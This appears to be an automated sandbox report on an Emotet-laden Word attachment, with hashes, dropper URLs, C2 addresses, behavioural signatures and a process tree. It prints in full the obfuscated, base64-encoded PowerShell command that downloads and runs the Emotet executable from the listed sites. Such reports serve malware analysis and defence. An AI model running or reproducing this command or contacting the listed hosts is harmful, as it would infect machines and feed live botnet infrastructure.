Analysis

  • max time kernel
    137s
  • max time network
    137s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    04/09/2020, 19:27

General

  • Target
    Attachments_20200904_IM361748.doc
  • Size 232KB
  • Sample200904-c3k4f29yre
  • SHA256 b89bbae40784e6910424e848eb4f987d2ab547c7293f80702f105bc4a8a086f1
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://radiosubmit.com/search_test/s/

  • exe.dropper

    http://kailashhotel.com/invoice/3/

  • exe.dropper

    http://king61tours.com/pdf/d/

  • exe.dropper

    https://povedavicedo.com/wp-admin/w/

  • exe.dropper

    https://menuazores.com/root/P/

  • exe.dropper

    https://fairplay.company/wp-includes/H/

  • exe.dropper

    https://www.laminatedtube.com/site/iT/

Extracted

Family
  • emotet

C2
  • 185.215.227.107:443

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 172.104.169.32:8080

  • 68.183.190.199:8080

  • 187.162.248.237:80

  • 82.76.111.249:443

  • 184.66.18.83:80

  • 190.6.193.152:8080

  • 77.238.212.227:80

  • 199.203.62.165:80

  • 188.2.217.94:80

  • 185.94.252.12:80

  • 178.250.54.208:8080

  • 206.15.68.237:443

  • 65.36.62.20:80

  • 216.47.196.104:80

  • 219.92.8.17:8080

  • 213.60.96.117:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 6 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Attachments_20200904_IM361748.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3832
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
    1⤵
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:3892
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABQAGMAagBuAHcAZwBwAD0AKAAoACcARAAnACsAJwBiAG8AJwApACsAJwAwACcAKwAoACcAcwAnACsAJwB1AGMAJwApACkAOwAuACgAJwBuACcAKwAnAGUAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAE4AdgA6AFUAUwBlAFIAcAByAG8ARgBJAEwARQBcAEMAVABOADYANgBmAHoAXABNAFAAOQB0ADgANAA3AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAEUAQwB0AE8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBgAFUAYABSAGkAVAB5AGAAcAByAG8AVABPAGMATwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAnACkAKwAnADIALAAnACsAKAAnACAAJwArACcAdABsAHMAMQAxACcAKQArACcALAAgACcAKwAoACcAdAAnACsAJwBsAHMAJwApACkAOwAkAEIAMgBtAGcAOQA0AGUAIAA9ACAAKAAnAEsAJwArACcAMQAnACsAKAAnAHIAJwArACcANABqAGwAegAnACkAKQA7ACQATAA5ADMAOQA3ADAANwA9ACgAKAAnAFcAJwArACcAeQAnACsAJwB2ADcAdAAzACcAKQArACcAaQAnACkAOwAkAEUAZQB1AGoAbQA1AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAYgAnACsAKAAnAHoAdgAnACsAJwBDAHQAbgA2ADYAZgB6AGIAegAnACsAJwB2AE0AcAA5AHQAJwArACcAOAA0ACcAKQArACgAJwA3ACcAKwAnAGIAegB2ACcAKQApAC0AQwByAEUAcABsAGEAQwBFACAAKAAnAGIAegAnACsAJwB2ACcAKQAsAFsAQwBoAEEAcgBdADkAMgApACsAJABCADIAbQBnADkANABlACsAKAAoACcALgAnACsAJwBlAHgAJwApACsAJwBlACcAKQA7ACQAQwAwADIANAAyADEAZQA9ACgAKAAnAEkAcwBlACcAKwAnAGgAJwApACsAKAAnAGwAJwArACcAYwBxACcAKQApADsAJABIADMAdgBwAHIAZgBwAD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAFcARQBCAGMAbABpAGUAbgBUADsAJABGAHcANQBxADEANgAyAD0AKAAnAGgAJwArACcAdAAnACsAKAAnAHQAJwArACcAcAA6AC8ALwByACcAKwAnAGEAZABpACcAKQArACgAJwBvAHMAdQBiACcAKwAnAG0AJwApACsAJwBpAHQAJwArACgAJwAuAGMAbwBtAC8AcwBlACcAKwAnAGEAJwArACcAcgBjACcAKwAnAGgAJwApACsAKAAnAF8AdABlACcAKwAnAHMAdAAnACkAKwAoACcALwBzAC8AKgAnACsAJwBoAHQAdABwADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwBrAGEAJwApACsAKAAnAGkAbAAnACsAJwBhACcAKwAnAHMAaABoACcAKQArACgAJwBvAHQAZQAnACsAJwBsAC4AYwBvAG0ALwAnACsAJwBpACcAKwAnAG4AdgBvAGkAYwBlAC8AMwAvACcAKQArACgAJwAqAGgAdAB0ACcAKwAnAHAAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAGsAaQBuAGcANgAxACcAKQArACgAJwB0AG8AdQAnACsAJwByAHMAJwApACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAnACsAKAAnAC8AJwArACcAcABkAGYAJwArACcALwAnACsAJwBkAC8AKgBoAHQAJwArACcAdABwAHMAOgAnACsAJwAvAC8AcAAnACkAKwAoACcAbwB2ACcAKwAnAGUAZABhAHYAJwArACcAaQBjAGUAJwApACsAJwBkACcAKwAnAG8ALgAnACsAJwBjACcAKwAoACcAbwBtAC8AdwBwAC0AJwArACcAYQBkACcAKwAnAG0AaQBuACcAKwAnAC8AdwAvACoAJwApACsAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAJwApACsAKAAnAHMAJwArACcAOgAvAC8AbQBlACcAKQArACcAbgAnACsAKAAnAHUAYQB6ACcAKwAnAG8AcgAnACkAKwAnAGUAJwArACgAJwBzAC4AJwArACcAYwAnACkAKwAoACcAbwBtACcAKwAnAC8AcgAnACsAJwBvACcAKwAnAG8AJwArACcAdAAvAFAALwAqAGgAdAAnACkAKwAoACcAdAAnACsAJwBwAHMAOgAvAC8AZgBhAGkAJwApACsAKAAnAHIAcAAnACsAJwBsAGEAeQAnACkAKwAoACcALgBjAG8AbQAnACsAJwBwAGEAJwApACsAKAAnAG4AeQAvACcAKwAnAHcAJwArACcAcAAtAGkAbgBjACcAKQArACgAJwBsAHUAJwArACcAZAAnACkAKwAoACcAZQAnACsAJwBzAC8ASAAvACoAaAAnACsAJwB0AHQAJwArACcAcABzADoALwAvAHcAdwAnACsAJwB3ACcAKwAnAC4AbAAnACkAKwAoACcAYQAnACsAJwBtAGkAJwApACsAKAAnAG4AYQB0AGUAJwArACcAZAB0AHUAYgAnACsAJwBlAC4AYwBvAG0AJwArACcALwBzACcAKwAnAGkAdABlAC8AaQBUAC8AJwApACkALgAiAFMAUABgAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASgBpADgAeQBvAHMAdAA9ACgAKAAnAEUAJwArACcAZQBkACcAKQArACgAJwA2ADAAJwArACcAaAAnACkAKwAnADgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQARgBzAHUAdgBsAHcAZwAgAGkAbgAgACQARgB3ADUAcQAxADYAMgApAHsAdAByAHkAewAkAEgAMwB2AHAAcgBmAHAALgAiAGQAbwBgAHcAYABOAEwAbwBBAEQAZgBpAGAAbABlACIAKAAkAEYAcwB1AHYAbAB3AGcALAAgACQARQBlAHUAagBtADUAcgApADsAJABNAHUAegBrAHYANwBrAD0AKAAoACcAVgAnACsAJwA2ACcAKwAnAHcAbgA1AHoAJwApACsAJwA5ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABFAGUAdQBqAG0ANQByACkALgAiAGwAYABFAG4ARwBgAFQAaAAiACAALQBnAGUAIAAzADUANwA2ADgAKQAgAHsALgAoACcASQBuAHYAbwBrAGUALQAnACsAJwBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAoACQARQBlAHUAagBtADUAcgApADsAJABJAHMAbAA2AHUAdQB3AD0AKAAnAFAAeAAnACsAKAAnAHcAdwAnACsAJwBqACcAKQArACcAMABlACcAKQA7AGIAcgBlAGEAawA7ACQATgB6ADMAbwBnAHkAcwA9ACgAKAAnAEUANQAnACsAJwB1ADgAJwApACsAKAAnAGYAJwArACcAbAByACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAHgAeAAxAHcAMwA5AD0AKAAnAEIANgAnACsAKAAnAGEAJwArACcAaQB5AGYAJwApACsAJwB2ACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1992
    • C:\Users\Admin\Ctn66fz\Mp9t847\K1r4jlz.exe
      "C:\Users\Admin\Ctn66fz\Mp9t847\K1r4jlz.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4012
      • C:\Windows\SysWOW64\WindowsCodecsRaw\FXSRESM.exe
        "C:\Windows\SysWOW64\WindowsCodecsRaw\FXSRESM.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2072

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1992-6-0x00007FFDCA8E0000-0x00007FFDCB2CC000-memory.dmp

        memory/1992-7-0x000002B503770000-0x000002B503771000-memory.dmp

        memory/1992-8-0x000002B51BAA0000-0x000002B51BAA1000-memory.dmp

        memory/2072-17-0x0000000000820000-0x000000000082C000-memory.dmp

        memory/2072-16-0x0000000000810000-0x000000000081D000-memory.dmp

        memory/3832-4-0x000001FB1E81B000-0x000001FB1E820000-memory.dmp

        memory/3832-5-0x000001FB1E81B000-0x000001FB1E820000-memory.dmp

        memory/3832-0-0x00007FFDD23F0000-0x00007FFDD2AB6000-memory.dmp

        memory/3832-3-0x000001FB1E81B000-0x000001FB1E820000-memory.dmp

        memory/3832-2-0x000001FB1E81B000-0x000001FB1E820000-memory.dmp

        memory/3832-1-0x000001FB1E7E3000-0x000001FB1E7E6000-memory.dmp

        memory/4012-13-0x0000000000A60000-0x0000000000A6C000-memory.dmp

        memory/4012-12-0x0000000000A50000-0x0000000000A5D000-memory.dmp